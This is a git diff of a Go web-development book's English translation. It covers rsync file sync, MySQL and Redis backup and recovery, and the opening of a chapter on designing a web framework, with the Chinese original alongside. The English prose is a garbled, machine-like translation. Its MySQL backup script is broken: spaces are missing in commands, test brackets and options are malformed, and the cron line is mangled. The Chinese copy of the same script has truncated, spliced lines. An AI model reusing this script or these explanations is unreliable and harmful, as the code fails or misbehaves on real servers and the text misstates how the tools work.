ubuntu and other online installation methods ; + # yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ; + # rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ; + +Other Linux distributions, please use the appropriate package management methods to install. Installing source packages + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure - prefix =/usr; make; make install + +
Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job
+ +### Rsync Configure + +rsync mainly in the following three configuration files rsyncd.conf( main configuration file ), rsyncd.secrets( password file ), rsyncd.motd(rysnc server information ). + +Several documents about this configuration we can refer to the official website or other websites rsync introduction, here the server and client how to open + +- Services client opens: + + `# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf` + +- daemon parameter approach is to run rsync in server mode. Join the rsync boot + + `echo 'rsync - daemon' >> /etc/rc.d/rc.local` + +Set rsync password + + echo 'Your Username: Your Password' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + +- Client synchronization: + +Clients can use the following command to synchronize the files on the server: + + rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www/var/rsync/backup + +This command, briefly explain a few points: + +1. `-avzP` is what the reader can use the `-help` Show +2. `-delete` for example A, deleted a file, the time synchronization, B will automatically delete the corresponding files +3. `-Password-file` client/etc/rsyncd.secrets set password, and server to `/etc/rsyncd.secrets` the password the same, so cron is running, you do not need the password +4. This command in the " User Name" for the service side of the `/etc/rsyncd.secrets` the user name +5. This command 192.168.145.5 as the IP address of the server +6. :: www, note the two: number, www as a server configuration file `/etc/rsyncd.conf` in [www], meaning that according to the service on the client `/etc/rsyncd.conf` to synchronize them [www] paragraph, a: number, when used according to the configuration file does not directly specify the directory synchronization. + +In order to synchronize real-time, you can set the crontab, keeping rsync synchronization every minute, of course, users can also set the level of importance depending on the file type of synchronization frequency. + +## MySQL backup + +MySQL database application is still the mainstream, the current MySQL backup in two ways: hot backup and cold backup, hot backup is currently mainly used master/slave mode (master/slave) mode is mainly used for database synchronization separate read and write, but also can be used for hot backup data ), on how to configure this information, we can find a lot. Cold backup data, then that is a certain delay, but you can guarantee that the time period before data integrity, such as may sometimes be caused by misuse of our loss of data, then the master/slave model is able to retrieve lost data, but through cold backup can partially restore the data. + +Cold backup shell script is generally used to achieve regular backup of the database, and then rsync synchronization through the above described non-local one server room. + +The following is a scheduled backup MySQL backup script, we use the mysqldump program, this command can be exported to a database file. + + + #!/bin/bash + # The following configuration information, modify their own + mysql_user="USER" #MySQL backup user + mysql_password="PASSWORD" # MySQL backup user's password + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" # MySQL coding + backup_db_arr=("db1" "db2") # To back up the database name, separated by spaces separated by a plurality of such("db1" "db2" "db3") + backup_location=/var/www/mysql # backup data storage location, please do not end with a "/", this can keep the default, the program will automatically create a folder + expire_backup_delete="ON" # delete outdated backups is turned OFF to ON ON to OFF + expire_days=3 # default expiration time for the three days the number of days, this is only valid when the expire_backup_delete open + + # We do not need to modify the following start + backup_time=`date +%Y%m%d%H%M` # define detailed time backup + backup_Ymd=`date +%Y-%m-%d` # define the backup directory date time + backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date + backup_dir=$backup_location/$backup_Ymd # full path to the backup folder + welcome_msg="Welcome to use MySQL backup tools!" # greeting + + # Determine whether to start MYSQL, mysql does not start the backup exit + mysql_ps=`ps-ef | grep mysql | wc-l` + mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l` + if [[$mysql_ps==0]-o [$mysql_listen==0]]; then + echo "ERROR: MySQL is not running! backup stop!" + exit + else + echo $welcome_msg + fi + + # Connect to mysql database, can not connect to the backup exit + mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end + use mysql; + select host, user from user where user='root' and host='localhost'; + exit + end + + flag=`echo $?` + if [$flag!="0"]; then + echo "ERROR: Can't connect mysql server! backup stop!" + exit + else + echo "MySQL connect ok! Please wait......" + # Judgment does not define the backup database, if you define a backup is started, otherwise exit the backup + if ["$backup_db_arr"!=""]; then + # dbnames=$(cut-d ','-f1-5 $backup_database) + # echo "arr is(${backup_db_arr [@]})" + for dbname in ${backup_db_arr [@]} + do + echo "database $dbname backup start..." + `mkdir -p $backup_dir` + `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz` + flag=`echo $?` + if [$flag=="0"]; then + echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup fail!" + fi + + done + else + echo "ERROR: No database to backup! backup stop" + exit + fi + # If you open the delete expired backup, delete operation + if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then + # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;` + `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All database backup success! Thank you!" + exit + fi + + +Modify shell script attributes: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +Set attributes, add the command crontab, we set up regular automatic backups every day 00:00, then the backup script directory/var/www/mysql directory is set to rsync synchronization. + + 00 00 *** /root/mysql_backup.sh + +## MySQL Recovery + +Earlier MySQL backup into hot backup and cold backup, hot backup main purpose is to be able to recover in real time, such as an application server hard disk failure occurred, then we can modify the database configuration file read and write into slave so that you can minimize the time interrupt service. + +But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command: + + mysql -u username -p databse < backup.sql + +You can see, export and import database data is fairly simple, but if you also need to manage permissions, or some other character set, it may be a little more complicated, but these can all be done through a number of commands. + +## Redis backup + +Redis is our most used NoSQL, its backup is also divided into two kinds: hot backup and cold backup, Redis also supports master/slave mode, so our hot backup can be achieved in this way, we can refer to the corresponding configuration the official document profiles, quite simple. Here we introduce cold backup mode: Redis will actually timed inside the memory cache data saved to the database file inside, we just backed up the corresponding file can be, is to use rsync backup to a previously described non-local machine room can be achieved. + +## Redis recovery + +Redis Recovery divided into hot and cold backup recovery backup and recovery, hot backup and recovery purposes and methods of recovery with MySQL, as long as the modified application of the corresponding database connection. + +But sometimes we need to cold backup to recover data, Redis cold backup and recovery is actually just put the saved database file copy to Redis working directory, and then start Redis on it, Redis at boot time will be automatically loaded into the database file memory, the start speed of the database to determine the size of the file. + +## Summary + +This section describes the application of part of our backup and recovery, that is, how to do disaster recovery, including file backup, database backup. Also introduced different systems using rsync file synchronization, MySQL database and Redis database backup and recovery, hope that through the introduction of this section, you can give as a developer of products for online disaster recovery program provides a reference solution. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment](12.3.md) +- Next section: [Summary](12.5.md) diff --git a/en/12.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/12.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..6f2ad81f --- /dev/null +++ b/en/12.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,174 @@ +# 12.4 备份和恢复 +这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。 + +## 应用备份 +在大多数集群环境下,Web应用程序基本不需要备份,因为这个其实就是一个代码副本,我们在本地开发环境中,或者版本控制系统中已经保持这些代码。但是很多时候,一些开发的站点需要用户来上传文件,那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存,这样即使系统崩溃,只要我们的文件还在云存储上,至少数据不会丢失。 + +如果我们没有采用云储存的情况下,如何做到网站的备份呢?这里我们介绍一个文件同步工具rsync:rsync能够实现网站的备份,不同系统的文件的同步,如果是windows的话,需要windows版本cwrsync。 + +### rsync安装 +rysnc的官方网站:http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然,因为rsync是一款非常有用的软件,所以很多Linux的发行版本都将它收录在内了。 + +软件包安装 + + # sudo apt-get install rsync 注:在debian、ubuntu 等在线安装方法; + # yum install rsync 注:Fedora、Redhat、CentOS 等在线安装方法; + # rpm -ivh rsync 注:Fedora、Redhat、CentOS 等rpm包安装方法; + +其它Linux发行版,请用相应的软件包管理方法来安装。源码包安装 + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure --prefix=/usr ;make ;make install 注:在用源码包编译安装之前,您得安装gcc等编译工具才行; + +### rsync配置 +rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。 + +关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站,下面介绍服务器端和客户端如何开启 + +- 服务端开启: + + #/usr/bin/rsync --daemon --config=/etc/rsyncd.conf + + --daemon参数方式,是让rsync以服务器模式运行。把rsync加入开机启动 + + echo 'rsync --daemon' >> /etc/rc.d/rc.local + + 设置rsync密码 + + echo '你的用户名:你的密码' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + + +- 客户端同步: + + 客户端可以通过如下命令同步服务器上的文件: + + rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup + + 这条命令,简要的说明一下几个要点: + + 1. -avzP是啥,读者可以使用--help查看 + 2. --delete 是为了比如A上删除了一个文件,同步的时候,B会自动删除相对应的文件 + 3. --password-file 客户端中/etc/rsyncd.secrets设置的密码,要和服务端的 /etc/rsyncd.secrets 中的密码一样,这样cron运行的时候,就不需要密码了 + 4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名 + 5. 这条命令中的 192.168.145.5 为服务端的IP地址 + 6. ::www,注意是2个 : 号,www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。 + + 为了让同步实时性,可以设置crontab,保持rsync每分钟同步,当然用户也可以根据文件的重要程度设置不同的同步频率。 + + +## MySQL备份 +应用数据库目前还是MySQL为主流,目前MySQL的备份有两种方式:热备份和冷备份,热备份目前主要是采用master/slave方式(master/slave方式的同步目前主要用于数据库读写分离,也可以用于热备份数据),关于如何配置这方面的资料,大家可以找到很多。冷备份的话就是数据有一定的延迟,但是可以保证该时间段之前的数据完整,例如有些时候可能我们的误操作引起了数据的丢失,那么master/slave模式是无法找回丢失数据的,但是通过冷备份可以部分恢复数据。 + +冷备份一般使用shell脚本来实现定时备份数据库,然后通过上面介绍rsync同步非本地机房的一台服务器。 + +下面这个是定时备份mysql的备份脚本,我们使用了mysqldump程序,这个命令可以把数据库导出到一个文件中。 + + #!/bin/bash + + # 以下配置信息请自己修改 + mysql_user="USER" #MySQL备份用户 + mysql_password="PASSWORD" #MySQL备份用户的密码 + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" #MySQL编码 + backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3") + backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹 + expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭 + expire_days=3 #过期时间天数 默认为三天,此项只有在expire_backup_delete开启时有效 + + # 本行开始以下不需要修改 + backup_time=`date +%Y%m%d%H%M` #定义备份详细时间 + backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间 + backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期 + backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径 + welcome_msg="Welcome to use MySQL backup tools!" #欢迎语 + + # 判断MYSQL是否启动,mysql没有启动则备份退出 + mysql_ps=`ps -ef |grep mysql |wc -l` + mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l` + if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then + echo "ERROR:MySQL is not running! backup stop!" + exit + else + echo $welcome_msg + fi + + # 连接到mysql数据库,无法连接则备份退出 + mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password < $backup_dir/$dbname-$backup_time.sql.gz` + flag=`echo $?` + if [ $flag == "0" ];then + echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup fail!" + fi + + done + else + echo "ERROR:No database to backup! backup stop" + exit + fi + # 如果开启了删除过期备份,则进行删除操作 + if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then + #`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;` + `find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All database backup success! Thank you!" + exit + fi + +修改shell脚本的属性: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +设置好属性之后,把命令加入crontab,我们设置了每天00:00定时自动备份,然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。 + + 00 00 * * * /root/mysql_backup.sh + +## MySQL恢复 +前面介绍MySQL备份分为热备份和冷备份,热备份主要的目的是为了能够实时的恢复,例如应用服务器出现了硬盘故障,那么我们可以通过修改配置文件把数据库的读取和写入改成slave,这样就可以尽量少时间的中断服务。 + +但是有时候我们需要通过冷备份的SQL来进行数据恢复,既然有了数据库的备份,就可以通过命令导入: + + mysql -u username -p databse < backup.sql + +可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。 + +## redis备份 +redis是目前我们使用最多的NoSQL,它的备份也分为两种:热备份和冷备份,redis也支持master/slave模式,所以我们的热备份可以通过这种方式实现,相应的配置大家可以参考官方的文档配置,相当的简单。我们这里介绍冷备份的方式:redis其实会定时的把内存里面的缓存数据保存到数据库文件里面,我们备份只要备份相应的文件就可以,就是利用前面介绍的rsync备份到非本地机房就可以实现。 + +## redis恢复 +redis的恢复分为热备份恢复和冷备份恢复,热备份恢复的目的和方法同MySQL的恢复一样,只要修改应用的相应的数据库连接即可。 + +但是有时候我们需要根据冷备份来恢复数据,redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录,然后启动redis就可以了,redis在启动的时候会自动加载数据库文件到内存中,启动的速度根据数据库的文件大小来决定。 + +## 小结 +本小节介绍了我们的应用部分的备份和恢复,即如何做好灾备,包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件,MySQL数据库和redis数据库的备份和恢复,希望通过本小节的介绍,能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。 + +## links + * [目录]() + * 上一章: [应用部署](<12.3.md>) + * 下一节: [小结](<12.5.md>) diff --git a/en/12.5.md b/en/12.5.md index ec8a7c56..99065067 100644 --- a/en/12.5.md +++ b/en/12.5.md @@ -1,18 +1,20 @@ -# 12.5 小结 -本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要,要创建一个能够基于最小维护平滑运行的应用,必须考虑这些问题。 - -具体而言,本章讨论的内容包括: - -- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员 -- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题 -- 处理404错误,告诉用户请求的页面找不到 -- 将应用部署到一个生产环境中(包括如何部署更新) -- 如何让部署的应用程序具有高可用 -- 备份和恢复文件以及数据库 - -读完本章内容后,对于从头开始开发一个Web应用需要考虑那些问题,你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。 - -## links - * [目录]() - * 上一章: [备份和恢复](<12.4.md>) - * 下一节: [如何设计一个Web框架](<13.0.md>) \ No newline at end of file +# 12.5 Summary + +This chapter discusses how to deploy and maintain Web applications we develop some related topics. The content is very important to be able to create a minimum maintenance based applications running smoothly, we must consider these issues. + +Specifically, the discussion in this chapter include: + +- Create a robust logging system that can record an error in case of problems and notify the system administrator +- Handle runtime errors that may occur, including logging, and how to display to the user-friendly system there is a problem +- Handling 404 errors, telling the user can not find the requested page +- Deploy applications to a production environment (including how to deploy updates) +- How to deploy highly available applications +- Backup and restore files and databases + +After reading this chapter, for the development of a Web application from scratch, those issues need to be considered, you should already have a comprehensive understanding. This chapter will help you in the actual environment management in the preceding chapter describes the development of the code. + +## Links + +- [Directory](preface.md) +- Previous section: [Backup and recovery](12.4.md) +- Next chapter: [Build a web framework](13.0.md) diff --git a/en/12.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/12.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..2387634c --- /dev/null +++ b/en/12.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,18 @@ +# 12.5 小结 +本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要,要创建一个能够基于最小维护平滑运行的应用,必须考虑这些问题。 + +具体而言,本章讨论的内容包括: + +- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员 +- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题 +- 处理404错误,告诉用户请求的页面找不到 +- 将应用部署到一个生产环境中(包括如何部署更新) +- 如何让部署的应用程序具有高可用 +- 备份和恢复文件以及数据库 + +读完本章内容后,对于从头开始开发一个Web应用需要考虑那些问题,你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。 + +## links + * [目录]() + * 上一章: [备份和恢复](<12.4.md>) + * 下一节: [如何设计一个Web框架](<13.0.md>) \ No newline at end of file diff --git a/en/13.0.md b/en/13.0.md index b69987df..d7713427 100644 --- a/en/13.0.md +++ b/en/13.0.md @@ -1,12 +1,11 @@ -# 13 如何设计一个Web框架 -前面十二章介绍了如何通过Go来开发Web应用,介绍了很多基础知识、开发工具和开发技巧,那么我们这一章通过这些知识来实现一个简易的Web框架。通过Go语言来实现一个完整的框架设计,这框架中主要内容有第一小节介绍的Web框架的结构规划,例如采用MVC模式来进行开发,程序的执行流程设计等内容;第二小节介绍框架的第一个功能:路由,如何让访问的URL映射到相应的处理逻辑;第三小节介绍处理逻辑,如何设计一个公共的controller,对象继承之后处理函数中如何处理response和request;第四小节介绍框架的一些辅助功能,例如日志处理、配置信息等;第五小节介绍如何基于Web框架实现一个博客,包括博文的发表、修改、删除、显示列表等操作。 - -通过这么一个完整的项目例子,我期望能够让读者了解如何开发Web应用,如何搭建自己的目录结构,如何实现路由,如何实现MVC模式等各方面的开发内容。在框架盛行的今天,MVC也不再是神话。经常听到很多程序员讨论哪个框架好,哪个框架不好, 其实框架只是工具,没有好与不好,只有适合与不适合,适合自己的就是最好的,所以教会大家自己动手写框架,那么不同的需求都可以用自己的思路去实现。 - -## 目录 - ![](images/navi13.png?raw=true) - -## links - * [目录]() - * 上一章: [第十二章总结](<12.5.md>) - * 下一节: [项目规划](<13.1.md>) +# 13 Build a web framework + +Preceding twelve chapter describes how to develop Web applications through Go, introduced a lot of basic knowledge, development tools and techniques, then we pass this knowledge in this chapter to implement a simple Web framework. Go language to achieve through a complete frame design, the main contents of this framework, the first section describes the structure of a Web framework planning, such as using the MVC pattern to develop, program execution process design, etc.; second section describes the framework the first feature: Routing, how to get access to the URL mapped to the corresponding processing logic; third section describes the processing logic, how to design a common controller, object inheritance after the handler how to handle response and request; fourth section describes how to framework some auxiliary functions, such as log processing, configuration information, etc.; fifth section describes how to implement a blog-based Web framework, including Bowen published, modify, delete, display a list of other operations. + +Through such a complete project example, I expect to be able to allow readers to understand how to develop Web applications, how to build your own directory structure, how to achieve routing, how to achieve the MVC pattern and other aspects of developing content. In the framework prevalent today, MVC is no longer a myth. Many programmers often heard discussions which frame is good, which frame is not good, in fact, the framework is only a tool, there is no good or bad, only suitable or unsuitable, for his is the best, so we write their own framework for the church, then different needs can use their own ideas to be realized. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 12 summary](12.5.md) +- Next section: [Project program](13.1.md) diff --git a/en/13.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/13.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..40ab958a --- /dev/null +++ b/en/13.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,12 @@ +# 13 如何设计一个Web框架 +前面十二章介绍了如何通过Go来开发Web应用,介绍了很多基础知识、开发工具和开发技巧,那么我们这一章通过这些知识来实现一个简易的Web框架。通过Go语言来实现一个完整的框架设计,这框架中主要内容有第一小节介绍的Web框架的结构规划,例如采用MVC模式来进行开发,程序的执行流程设计等内容;第二小节介绍框架的第一个功能:路由,如何让访问的URL映射到相应的处理逻辑;第三小节介绍处理逻辑,如何设计一个公共的controller,对象继承之后处理函数中如何处理response和request;第四小节介绍框架的一些辅助功能,例如日志处理、配置信息等;第五小节介绍如何基于Web框架实现一个博客,包括博文的发表、修改、删除、显示列表等操作。 + +通过这么一个完整的项目例子,我期望能够让读者了解如何开发Web应用,如何搭建自己的目录结构,如何实现路由,如何实现MVC模式等各方面的开发内容。在框架盛行的今天,MVC也不再是神话。经常听到很多程序员讨论哪个框架好,哪个框架不好, 其实框架只是工具,没有好与不好,只有适合与不适合,适合自己的就是最好的,所以教会大家自己动手写框架,那么不同的需求都可以用自己的思路去实现。 + +## 目录 + ![](images/navi13.png?raw=true) + +## links + * [目录]() + * 上一章: [第十二章总结](<12.5.md>) + * 下一节: [项目规划](<13.1.md>) diff --git a/en/13.1.md b/en/13.1.md index c94bdb55..e77a0586 100644 --- a/en/13.1.md +++ b/en/13.1.md @@ -1,53 +1,62 @@ -# 13.1 项目规划 -做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了 -## gopath以及项目设置 -假设指定gopath是文件系统的普通目录名,当然我们可以随便设置一个目录名,然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录:在window系统设置环境变量;在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,下面是在window下的环境变量和目录结构的截图: - -![](images/13.1.gopath.png?raw=true) - -图13.1 环境变量GOPATH设置 - -![](images/13.1.gopath2.png?raw=true) - -图13.2 工作目录在$gopath/src下 - -## 应用程序流程图 -博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中,由于表现层从Go中分离了出来,所以它允许你的网页中只包含很少的脚本。 - -- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。 -- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页,但是在Go中,一个视图也可以是一个页面片段,如页头、页尾。它还可以是一个 RSS 页面,或其它类型的“页面”,Go实现的template包已经很好的实现了View层中的部分功能。 -- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介,并生成网页。 - -下图显示了项目设计中框架的数据流是如何贯穿整个系统: - -![](images/13.1.flow.png?raw=true) - -图13.3 框架的数据流 - -1. main.go作为应用入口,初始化一些运行博客所需要的基本资源,配置信息,监听端口。 -2. 路由功能检查HTTP请求,根据URL以及method来确定谁(控制层)来处理请求的转发资源。 -3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。 -4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。 -5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。 -6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存,视图首先被缓存,将用于以后的常规请求。 - -## 目录结构 -根据上面的应用程序流程设计,博客的目录结构设计如下: - - |——main.go 入口文件 - |——conf 配置文件和处理模块 - |——controllers 控制器入口 - |——models 数据库处理模块 - |——utils 辅助函数库 - |——static 静态文件目录 - |——views 视图库 - -## 框架设计 -为了实现博客的快速搭建,打算基于上面的流程设计开发一个最小化的框架,框架包括路由功能、支持REST的控制器、自动化的模板渲染,日志系统、配置管理等。 - -## 总结 -本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息,也简单介绍了框架结构采用的MVC模式,博客系统中数据流的执行流程,最后通过这些流程设计了博客系统的目录结构,至此,我们基本完成一个框架的搭建,接下来的几个小节我们将会逐个实现。 -## links - * [目录]() - * 上一章: [构建博客系统](<13.0.md>) - * 下一节: [自定义路由器设计](<13.2.md>) +# 13.1 Project program + +Need to do anything good plan, then we in the development blog system, also need to do the planning, how to set up the directory structure, how to understand the flow of the project, when we understand the execution of the application process, then the next the design becomes relatively easy to code + +## GOPATH and project settings + +Assuming that the file system specified GOPATH ordinary directory name, of course, we can easily set up a directory name, then its path into GOPATH. GOPATH described earlier can be multiple directories: set the environment variable in the window system ; in linux/MacOS system as long as the input terminal command `export gopath =/home/astaxie/gopath`, but must ensure that GOPATH the code below three directories pkg directory, bin, src. New Project source code in src directory, now tentatively our blog directory called beeblog, the following is in the window environment variables and directory structure screenshot: + +![](images/13.1.gopath.png?raw=true) + +Figure 13.1 GOPATH setting environment variables + +![](images/13.1.gopath2.png?raw=true) + +Figure 13.2 working directory in $ gopath/src under + +## Application flowchart + +Blog system is based on the model - view - controller of this design pattern. MVC is a logic of the application layer and the presentation layer separation is structured. In practice, due to the presentation layer separate from the Go out, so it allows your page includes only a small script. + +- Models(Model) represents the data structure. Generally speaking, the model class will contain remove, insert, update database information, etc. These functions. +- View(View) is displayed to the user's information structure and style. A view is usually a web page, but in Go, a view can also be a page fragment, such as page header, footer. It can also be an RSS page, or any other type of " page ", Go template package has been implemented to achieve a good part of the View layer of functionality. +- Controller(Controller) is a model, view, and anything else necessary for processing the HTTP request intermediary between resources and generate web pages. + +The following figure shows the framework of the project design is how the data flow throughout the system: + +![](images/13.1.flow.png?raw=true) + +Figure 13.3 the frame data stream + +1. Main.go as an application portal, running blog initialize some basic resources needed, configuration information, listen port. +2. Check the HTTP request routing function, based on the URL and method to determine who( control layer ) to process the request forwarding resources. +3. If the cache file exists, it will bypass the normal process execution, is sent directly to the browser. +4. Safety Testing: The application before the call controller, HTTP requests, and any user submitted data will be filtered. +5. controller loading model, core libraries, auxiliary functions, as well as any treatment other resources required for a particular request, the controller is primarily responsible for handling business logic. +6. Output view layer rendering good to be sent to the Web browser content. If on the cache, the cache is first view, the routine for future requests. + +## Directory structure + +According to the above application process design, blog design the directory structure is as follows: + + |——main.go import documents + |——conf configuration files and processing module + |——controllers controller entry + |——models database processing module + |——utils useful function library + |——static static file directory + |——views view gallery + +## Frame design + +In order to achieve a quick blog to build, based on the above process design intends to develop a minimization framework, which includes routing capabilities, support for REST controllers, automated template rendering, log system, configuration management, and so on. + +## Summary + +This section describes the blog system to the directory from the setup GOPATH establish such basic information, but also a brief introduction of the framework structure using the MVC pattern, blog system data flow execution flow, and finally through these processes designed blog system directory structure, thus we basically completed a framework to build the next few sections we will achieve individually. + +## Links + +- [Directory](preface.md) +- Previous section: [Build a web framework](13.0.md) +- Next section: [Customized routers](13.2.md) diff --git a/en/13.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/13.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..0abd0432 --- /dev/null +++ b/en/13.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,53 @@ +# 13.1 项目规划 +做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了 +## gopath以及项目设置 +假设指定gopath是文件系统的普通目录名,当然我们可以随便设置一个目录名,然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录:在window系统设置环境变量;在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,下面是在window下的环境变量和目录结构的截图: + +![](images/13.1.gopath.png?raw=true) + +图13.1 环境变量GOPATH设置 + +![](images/13.1.gopath2.png?raw=true) + +图13.2 工作目录在$gopath/src下 + +## 应用程序流程图 +博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中,由于表现层从Go中分离了出来,所以它允许你的网页中只包含很少的脚本。 + +- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。 +- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页,但是在Go中,一个视图也可以是一个页面片段,如页头、页尾。它还可以是一个 RSS 页面,或其它类型的“页面”,Go实现的template包已经很好的实现了View层中的部分功能。 +- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介,并生成网页。 + +下图显示了项目设计中框架的数据流是如何贯穿整个系统: + +![](images/13.1.flow.png?raw=true) + +图13.3 框架的数据流 + +1. main.go作为应用入口,初始化一些运行博客所需要的基本资源,配置信息,监听端口。 +2. 路由功能检查HTTP请求,根据URL以及method来确定谁(控制层)来处理请求的转发资源。 +3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。 +4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。 +5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。 +6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存,视图首先被缓存,将用于以后的常规请求。 + +## 目录结构 +根据上面的应用程序流程设计,博客的目录结构设计如下: + + |——main.go 入口文件 + |——conf 配置文件和处理模块 + |——controllers 控制器入口 + |——models 